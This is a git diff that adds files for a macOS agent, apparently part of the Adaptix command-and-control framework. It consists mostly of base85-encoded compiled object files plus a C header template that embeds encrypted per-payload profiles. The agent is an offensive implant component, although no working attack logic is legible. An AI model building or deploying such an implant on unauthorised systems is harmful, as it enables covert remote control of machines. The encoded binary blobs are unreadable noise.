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 J|4Tm|_&>AFt^@!8 literal 0 HcmV?d00001 diff --git a/AdaptixServer/extenders/macos_agent/src_agent/files/config.tpl b/AdaptixServer/extenders/macos_agent/src_agent/files/config.tpl new file mode 100644 index 000000000..222cb6137 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/files/config.tpl @@ -0,0 +1,72 @@ +/// Auto-generated config — per-payload unique profile data +/// This file is compiled with -x c and injected defines: +/// -DPROFILE_COUNT=N +/// -DPROFILE_0="..." -DPROFILE_0_SIZE=N +/// etc. +#ifndef CONFIG_H +#define CONFIG_H + +#include + +#ifndef PROFILE_COUNT +#define PROFILE_COUNT 0 +#endif + +#if PROFILE_COUNT > 0 + +// Profile data arrays — injected via -D defines at compile time +// Each profile is a hex-escaped byte string +static const uint8_t profile_0[] = { PROFILE_0 }; +static const uint32_t profile_0_size = sizeof(profile_0); + +#if PROFILE_COUNT > 1 +static const uint8_t profile_1[] = { PROFILE_1 }; +static const uint32_t profile_1_size = sizeof(profile_1); +#endif + +#if PROFILE_COUNT > 2 +static const uint8_t profile_2[] = { PROFILE_2 }; +static const uint32_t profile_2_size = sizeof(profile_2); +#endif + +#if PROFILE_COUNT > 3 +static const uint8_t profile_3[] = { PROFILE_3 }; +static const uint32_t profile_3_size = sizeof(profile_3); +#endif + +// Arrays for iteration +static const uint8_t* enc_profiles[] = { + profile_0, +#if PROFILE_COUNT > 1 + profile_1, +#endif +#if PROFILE_COUNT > 2 + profile_2, +#endif +#if PROFILE_COUNT > 3 + profile_3, +#endif +}; + +static const uint32_t enc_profile_sizes[] = { + profile_0_size, +#if PROFILE_COUNT > 1 + profile_1_size, +#endif +#if PROFILE_COUNT > 2 + profile_2_size, +#endif +#if PROFILE_COUNT > 3 + profile_3_size, +#endif +}; + +#else + +// No profiles — agent exits immediately +static const uint8_t* enc_profiles[] = { 0 }; +static const uint32_t enc_profile_sizes[] = { 0 }; + +#endif // PROFILE_COUNT > 0 + +#endif // CONFIG_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/agent_info.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/agent_info.o new file mode 100644 index 0000000000000000000000000000000000000000..e4addacdaed673e5281a38faa980cf67ee688b63 GIT binary patch literal 3640 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 literal 0 HcmV?d00001 diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/connector.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/connector.o new file mode 100644 index 0000000000000000000000000000000000000000..70b70773e493e6a46bdd887671c12c631b598dc7 GIT binary patch literal 2568 zcmb7GUuaWT82`?>Nxf~g)vis_?P0|+s1F^T>t^K|!H4M(5%$p5?V+NB6{9AlG5dY@o?C0HgMD!B zcYf#l&iD7^ocuQb_k-0$fZ(m&| zx5twyCcT;BFYfdmjYjGy_4}+QM#_b;dFxF&+(i`VC3+b?Ywv3Mi0-Czp;YpobyGGg z#icV3w7DH_3f$8~dK%+~Ry%@VPEEbr(mGsbY%c$q-q`v)9d2|{pq5e{nF>np5~+?8 zA5}b~LzWPYm5p^qYbEB#Hqc>zsT4S~g$9Ns1*ZL!7T6=pQXOm)WjRU0C{FvuLTU@u z%xIKuhb@-XL3UOeh2bxa0>{C!8`%HnbCf2r^;(0V7Wl83MtsHOKIHut@_#e45DjEd zkMyKwUK{@0DBN6S6dFD;HmqM`Oz^%gNfWbJn-=*^nJ%vPsxPj)g91 z>$3d>^oLJFAA5NJU#L}vF>1$qrhu2qxh8*LEw|?<^g(2bh?)C9WK2v`eiP@c3!|XB zZF@R=9Dz|_q1h@zja>zs}4)+??r5fDkcxi zR?~zB^|*!@@~R%C8k%cIJuX%`_3&O2n%9ckOI|B(t_SXbTDEggdaeFB`p4y?x-0wl zA+BkaChCKL8sk2oBAL(Lp8~pm=za4S3p}xObXN>ju zY!is@#ih^ADFD0!>K0}Vn|Ph+H4IEw$S*5-407~*h1_6AART(ukCE?C57;Dh9w*n8 z#UGv^Z-pHDA}u!WOu-)Gqc-n!f#XhZx_~(F4mZWXSst-@XWou0lCyc|n8Kq9U$^~6 zuG+lwGC0mn(>ZXM*gbCZ*R$YwfttF&*MJX!!$et1@h-&;#Tyg{v-EU%Ra_TRj*D}` zrHyK1T2|9#PRrwa+x3r2mkVX7Rl3aTOW*1Ds|q{)-KDV8&oJn88?YTnVDFaQ~uC=mWDa-lJeVjQ=DL zVJH%fhb_bJ41_VU%y#$2L&1S=+g~seiH59cZz39`NTM&c(fYn<{9 literal 0 HcmV?d00001 diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/crt.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/crt.o new file mode 100644 index 0000000000000000000000000000000000000000..f4c1bd3f78898aee60e1037039fbe66437dcfa10 GIT binary patch literal 4176 zcma)9eQZ-z6hF6JM_-HMV+CenB{$Vf1ujYdpn#Key}V*-*0Lt^;PLHuK55?w&D30wW0`|fq!x<+nt-#O== z@AK|G@4hqtT$!3rBnX2a9?X-BRAOS>ff<%uNftZ~`kbXUML}(fgYCCxHH)qPrRrWX4}(tZd3eY(ume}Y)?}h zPh(qad$ciW?Ml2HPi(WS+DG&GXH{HT4hrK0>~U^c#J5zg$Z#DD&xbIVVLD~;qp)R? zcR!vBG20QC7m&@dTo>pSfZ+w8p#%+j8k0wfn(U_nQ-uKR)<>V9eqmDT_%b`P(Cq7M zAUm>&UX7rv?|8^QN0?$Eoe!4KSTj+bC=ugXxAiNpGqhdQf9pTN%ZW+u7Z34%OJ$T#w!PU+Yh_HF zcigGVPg2KRpLWsOVYl}*>+`<#!^VA>-N?6oQSF{1$d~PH_0Z>cAs)1^K)0CR+=q2O zo5l(=9Gc3lLvIOO!dY+u^7;^B=9~@qKZU%iR#17cCnWV)hikHdP*Xa5h~@bG279O@ zs_J_)m%BZLy86god@o?|3+mV^dMo?^`%v&x>ZlTLRx~fM5A6`<`YqqnGaK%qjsw_d z$RpB>cx#0n3GJJ|d@Fb%QSIM>_xl9!??TkE33+gwEL*wHyPW;!_R}EOD2SNM6I=I; z%sX7+3)s((`s~R3Qaf_RO{pi1fr>L}*YX@}9Q?euVu5Rc|FgLBjxFJ8zU(f`T$;+& zrHR&!KtAKKBh_0Zf6<8BTOIUJhxfK|{ru$b?H1nAM&vP3B@P}_qpqOmF9P}3JGs?Xniugvj-`>ji zgyX~B;Jo;})p*3XZy%)%gC@8}IG+<(U(ERI9)A^k@o)IK#x;4(OdG=0yFrN2Q^@x^ z)_?t{`BHrRK!DL|^!jE6bG2-r(&WL7&eo zHN(EVKF_ioqgRyo9w?=W$-OiCCC7OK`@1ks&JDW!jYO>aTVe8Y$m?v z@D*gnK(mm8?<^Pv{@17#b%`qAC)LWDBKk)apYKK(1^QqAkNzKuA1KiQ z&v&r7>i3r7-z}{a#&=xt?IQd&s-jgz_|GYRG5rgQ{~_yF7Wz-}MIPh40}AT5xzu62 zP=tR}@sELzRFpSIn4h)kKHO4-e?swbPvBADzYBcaWmgZw53ateZN!T@*S_MwN4nsY z`RB37@M#4j8Pa50=3ywH2&a&{VKeK~iuC!YrRvuunl-!FmNv1uGRK1&81l zXlYi#J_T(B>lHK=tW*#{>dkZA^x0^<3t^-TQ;!`$$`GUeZ}Bldk1k;vHPQbe$05G} zYkHsjsAvwWUOqM647JyG)YIplM|^7>qVrD%PQS1VfgjVHCf+Gl?%It$2S z6DHf!=L8o9N$Y+8ilX&7hN$H0bNR8Nbsue- literal 0 HcmV?d00001 diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/crypt.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/crypt.o new file mode 100644 index 0000000000000000000000000000000000000000..a974b8299c26a2a73e96a5f09144ac2e818c73be GIT binary patch literal 4672 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 bE@#J8;%~9|TO|G#5{G5!;$ndYAliQc0~NMe literal 0 HcmV?d00001 diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/dyld_resolve.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/dyld_resolve.o new file mode 100644 index 0000000000000000000000000000000000000000..88c42aee1e445548a7e428331bfba8a68a4da396 GIT binary patch literal 11560 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 EKjwpC!~g&Q literal 0 HcmV?d00001 diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/jobs.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/jobs.o new file mode 100644 index 0000000000000000000000000000000000000000..ebad2b7c3c326a749c1919c472894ccdd2489520 GIT binary patch literal 4224 zcmbVPYfKbZ6uvXFu)CJ3RS;TjS;bmQ#Q4C(HX_SI{X^84O|%a)tjmh4?6U4IK1yQ{ zZED*;Y)TW8l8DhCyBibx0~0o}716Y$C9QoCo0xP#lafA6RYYi9>33%CU4{XFv^P8R z-S3=p&pqeNy>n;3`{%DGIgCjRjc!@E3S`_IxX_-*bxPA}blPoSkuF+KW6%n$Iug)j z(J52ai1$c@6M(9^Htljva?!g$0icmTa=G2k*y|*)uoeQ*RMiuXgnWT|E-?EOewK0l z9Uhk$&%+fI@pu~j{>Fe1sA_eEt3t5JytXfzlqr*4y?_R;`3t%|5w$6B*cYf%)tYL9 